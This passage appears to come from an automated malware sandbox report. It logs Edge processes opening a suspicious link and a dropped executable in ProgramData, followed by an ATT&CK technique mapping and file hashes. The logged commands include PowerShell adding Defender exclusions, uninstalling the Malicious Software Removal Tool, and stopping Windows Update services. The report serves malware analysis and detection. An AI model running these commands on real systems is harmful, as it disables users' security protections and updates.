- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd8,0x104,0x7ffb747146f8,0x7ffb74714708,0x7ffb74714718
5⤵
PID:5252

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,5076905712079265197,16549088292829845224,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2148 /prefetch:2
5⤵
PID:5620

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,5076905712079265197,16549088292829845224,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:5636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2116,5076905712079265197,16549088292829845224,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2840 /prefetch:8
5⤵
PID:5140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5076905712079265197,16549088292829845224,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
5⤵
PID:2064

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5076905712079265197,16549088292829845224,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
5⤵
PID:2808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5076905712079265197,16549088292829845224,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4004 /prefetch:1
5⤵
PID:5172

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5076905712079265197,16549088292829845224,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:1
5⤵
PID:5056

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,5076905712079265197,16549088292829845224,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4028 /prefetch:8
5⤵
PID:5616

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,5076905712079265197,16549088292829845224,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4028 /prefetch:8
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:5132

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q
4⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:5808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb747146f8,0x7ffb74714708,0x7ffb74714718
5⤵
PID:5988

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2064 /prefetch:2
5⤵
PID:4636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 /prefetch:3
5⤵
PID:4632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2824 /prefetch:8
5⤵
PID:3472

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
5⤵
PID:2040

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
5⤵
PID:3068

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4680 /prefetch:8
5⤵
PID:6072

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4680 /prefetch:8
5⤵
PID:4504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4632 /prefetch:1
5⤵
PID:1292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
5⤵
PID:436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5112 /prefetch:1
5⤵
PID:3656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4636 /prefetch:1
5⤵
PID:4580

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4320 /prefetch:1
5⤵
PID:4396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3524 /prefetch:1
5⤵
PID:4180

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
5⤵
PID:6012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,11615771879380838030,1607422937160618782,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5000 /prefetch:1
5⤵
PID:2792

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q
4⤵
PID:2784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb747146f8,0x7ffb74714708,0x7ffb74714718
5⤵
PID:2080

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:636

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6004

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6140

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
PID:5144

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2872

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:5060

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:5056

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:2436

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:5016

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:4988

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:1460

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:2660

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4876

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:540

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1672

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2144

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:2572

C:\Windows\explorer.exe
explorer.exe
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2828

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3264

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5908

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
612a6c4247ef652299b376221c984213

SHA1
d306f3b16bde39708aa862aee372345feb559750

SHA256
9d8e24c91cff338e56b518a533cb2e49a2803356bbf6e04892fb168a7ce2844a

SHA512
34a14d63abb1e3fe0f9927a94393043d458fe0624843e108d290266f554018e6379cba924cb5388735abdd6c5f1e2e318478a673f3f9b762815a758866d10973

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
56641592f6e69f5f5fb06f2319384490

SHA1
6a86be42e2c6d26b7830ad9f4e2627995fd91069

SHA256
02d4984e590e947265474d592e64edde840fdca7eb881eebde3e220a1d883455

SHA512
c75e689b2bbbe07ebf72baf75c56f19c39f45d5593cf47535eb722f95002b3ee418027047c0ee8d63800f499038db5e2c24aff9705d830c7b6eaa290d9adc868

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
57681da3552a97dc7f23cba8fb3b8aac

SHA1
02d5396a830d66b578f4863a162722f990406212

SHA256
2ae9638bc4c15d85abf692dc467d6fe94bf5823d51013da02c376cd9c6256d19

SHA512
e6ba42e2baec92348648b231cb4ae37a94dcb029cf7a133e8d7895f64d1b05fb14bda8eedad51d1df546d0b06459ba2c085d823ca21077fc15b8add2111cbcc5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History Provider Cache
Filesize
6B

MD5
a9851aa4c3c8af2d1bd8834201b2ba51

SHA1
fa95986f7ebfac4aab3b261d3ed0a21b142e91fc

SHA256
e708be5e34097c8b4b6ecb50ead7705843d0dc4b0779b95ef57073d80f36c191

SHA512
41a1b4d650ff55b164f3db02c8440f044c4ec31d8ddbbbf56195d4e27473c6b1379dfad3581e16429650e2364791f5c19aae723efc11986bb986ef262538b818

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Filesize
331B

MD5
7ab52064d4e3b48d885a285f2b28be9f

SHA1
9227f71109ababa1700484117a96d86a7115910d

SHA256
0ddcfa60a6801615503c6643b15a06047f699cdadfa256714f926982e5307b17

SHA512
8ef0af5b6ebd1c2bafe782bf6933060fb5949a81c13aa8ac9f57e7c4bb10bf1fb8bcc44af137786c39c540ea4c7ade196a62b8c5a3e8d65bc35c8841ceda6231

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
39284cdf33af841f6e3d60ab88c48ae6

SHA1
2acd7811becb5cd921f22c031ec55645ce0577f9

SHA256
38bf0272b689c99bfa94f977ae6fca95b040eb7d0b7e0e23078d658e1a983166

SHA512
b78ff7884ee1c91ed7f543a1ce7e0827c470c055c95b16c3a3157c1bd999934c4b8154b175dbca67569d51eff868ece81a860e741cf87f8efb21db168aa7ed51

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
f9fa502a75b39e96fd0bc9707f1f9cbd

SHA1
d19917b87d8b3fb518a62429ede56ea0f99aca59

SHA256
16a49a0bc4f7c3045ed9a3ae4346fd9a313f360aa8a3bb1d5e3cde94285da0b9

SHA512
5cc4dddcdbffe35b7f7131e8e7d70b164d0462611ee1724f01145711d0e64294186eb6fe742d86d633c88539ca2b9ec73f0f50457d54048b897efcf87af2c6e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
1b4e40d2201faa824fe7b537c51deb33

SHA1
a188e3da970097e5def89638722e01a3cffbba3b

SHA256
87b24b61e3e5d8ac3059a0caa204972809c0510765ef03e1d6288b51e7d1ec1f

SHA512
11a37d3fd60012ed9f361388d9fad09a386445f0733f2b8d564f34d90205e58971f21a14389aad6e5480b614b1b5622da83059cd69cc2fe4c683e094e6639f35

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
1544cd0363b0ef0f6ca987eaa91ac390

SHA1
edacdf7008444fb42767bce4e6992c7e5f17773b

SHA256
e7f4ad6c101464f470c3a30a765376869864a282cf89172e50bd1f4a9c5bbf39

SHA512
432134e6065f8780c60ef1ab5e98c6410d7e95e67c354959d0e78fbe7a4d990d3789d6f71b1a1ca3d5ca6a53546ff8d5c8dc4def304a865c4f7969f5c9a7b5a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log
Filesize
137B

MD5
a62d3a19ae8455b16223d3ead5300936

SHA1
c0c3083c7f5f7a6b41f440244a8226f96b300343

SHA256
c72428d5b415719c73b6a102e60aaa6ad94bdc9273ca9950e637a91b3106514e

SHA512
f3fc16fc45c8559c34ceba61739edd3facbbf25d114fecc57f61ec31072b233245fabae042cf6276e61c76e938e0826a0a17ae95710cfb21c2da13e18edbf99f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG
Filesize
319B

MD5
972cdf3956c802bb497352018e6c30dc

SHA1
d0fd3d2f9a6e723aa6189c17654681cd41923e4a

SHA256
502ebc23b0ef6a6a626f208ea5c1623edbf7d28bf594cd287036f9f6328d4af4

SHA512
3d4377bd631a468dade70ea97d85b9a126c08a81c59b8a69abddeffdd73b04da72e548443bfc7a685c3a7a504eb09c3c0e9c8c7e0d074e68a3db9ede954576ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13362871543212057
Filesize
1KB

MD5
30549acf361692330f2b2d686d049e50

SHA1
24f02d5a567058d2e53222c002451e669cee3467

SHA256
3c1136abba11748dcd2eacd90054a42645279a324e237788d6d6f20057ac9b45

SHA512
007e5a68c1ffe601fe458b7c81c7cdb6062104959a910dcaebf1a4421eca75dfd866ab13e626f6b7d0d448bbb0c174d631257f22268017fa07319a3d4e7dcc3c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Filesize
112B

MD5
a5948ca5595a85021d622b1bc4d457b3

SHA1
9636cd0fe933e0f5079eb9ba179aeb562d8b82aa

SHA256
0de1f38eeecddda0877feb5b00acfdb9f5d78c021617bd0dc0819dc4d3e7bb28

SHA512
08a08ee2c973d946834b1785ae6b7f5688b5ec2f8c3cfae1fba740b03e9e56a8ac281d2c074f0fae7933b843d8a80636c43c8ef8fcdf64f7f6b3dbc7b846d643

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Filesize
350B

MD5
d16dcf352902dae5868ac5ccf364e40d

SHA1
feaf801a631b7822af142c02bf70240b01df2b56

SHA256
b3df7d646ed1fd75680d5ca6a021c802c0804fc1d56595c1c93b0c6a093a2b13

SHA512
c3840190374c70e0b43bd4bb225360052fbc4842ceccb0fa9ddee9def3efadce94ecf3b92a03e04de8d9e94fc7f54d36065cd6bd571043f748649b2a873a43ae

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Filesize
326B

MD5
5ced779de606424ba76047efc3a68b9f

SHA1
aca8b775105b166f786707a046d497d7ce79c413

SHA256
2712ab89f07303bf0ca8ea6c4c799c1aaa11246ddf4e6fc5fa717d57e114fad8

SHA512
01f23ede70d57ac09cbc63567b15df6be9b1463860f026f482e78ef06abc990851929ca98992eaba662e97c1f0518c1be73b6758dce1bc001c2300fb52cdf54d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
aefd77f47fb84fae5ea194496b44c67a

SHA1
dcfbb6a5b8d05662c4858664f81693bb7f803b82

SHA256
4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

SHA512
b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db
Filesize
44KB

MD5
07393cbcd376b2e1c959eae435b0de49

SHA1
ff3d243971ccd0552a6805083d9d0c2583fb5c01

SHA256
e92e446b740b823c5972221f99e983f11f02ed8551818eaea09a383fb03f36b3

SHA512
534a787fafefa9cfc22b1c612b7381a3219ff9ccdac724b7acf66d639b17510d409adf8bd886cc07c5a163784a5a5b8ca2e4aee70704583a7a8484836f8f7521

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Filesize
565B

MD5
b77ec71c14c0075ddba1abb0f067183f

SHA1
289344e88364b158f1db9d6ccfca373667e159cb

SHA256
1d2551fdd90a2011ecf6824c9fe660b792df1a61977c2f1cc4cf3014777faeeb

SHA512
d134c326d12b937189cff76c74fb71163b5d4e25fb7b4890778724846c5283748bcfc97bda8919b5399f35e2c74b1b1f013dbd3919c22a191a82db56b6875ef2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Filesize
340B

MD5
c1c4f97a72db40c7d1b323c7bb77b393

SHA1
02d6ab694e0935ae73a22777ac0fc7d16d83ece2

SHA256
dc9932f651c5f1b85e2af1dc10d7e1fd558dc4d151df41ed829484c0828dc96a

SHA512
15a1104bc791d8882fd606aabf012c8a7fb86034ab9b980fcaaf49b4a905f99d5865805351b729fb5c8dedbce9a5e8388d5e1af531611c5b43525705119e13e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0
Filesize
44KB

MD5
a7a9312b4b9c14eaec18ab76d39b1713

SHA1
6d78f6daf56d09b928aeb852fd980235376932ba

SHA256
a29f6c77a1d78f5b1bf6853d3f5e8e8f98082c1749de07262df5bb34ca71f91e

SHA512
b8604057d7236f84e2d7a422359fc47d81b105352bcf3c3e45b73696f99bb0abe43709fd7ebd2bc590d730838a1234b34add31a4a52af98e1fc434ad46a4ebcc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1
Filesize
264KB

MD5
0e92f0ed2d09632eb12622a199d54b36

SHA1
fe71a92f6027cbb2d556e12e94fadef8774fe6cb

SHA256
ff7e8a2028e18f4615e327495b6c54ef4f0db8bee8ea4324f58af8e3b880940f

SHA512
4522519a1013cfbe57096379b466f1778ced7f50b9621f0a425a478981829ecd64d295c59f3ae09b96097154d717758060c8b1cc14a0275e7144830acac24e06

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3
Filesize
4.0MB

MD5
475a13bf8550f1a0a952920851954914

SHA1
da9c49a68459b1161756e31a25931eab9c2cceb2

SHA256
de65c9917ea8427fea337bb966337f5181170848532d5a870bab9d44caaf13c4

SHA512
bfc3169cb56ee346605067bab10ccfcef67832a5605017460d4be4d5acb62c76aa52590a831a1225997aaba075d5a4708e1fabfc35fea4801a648c8a2af352fc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
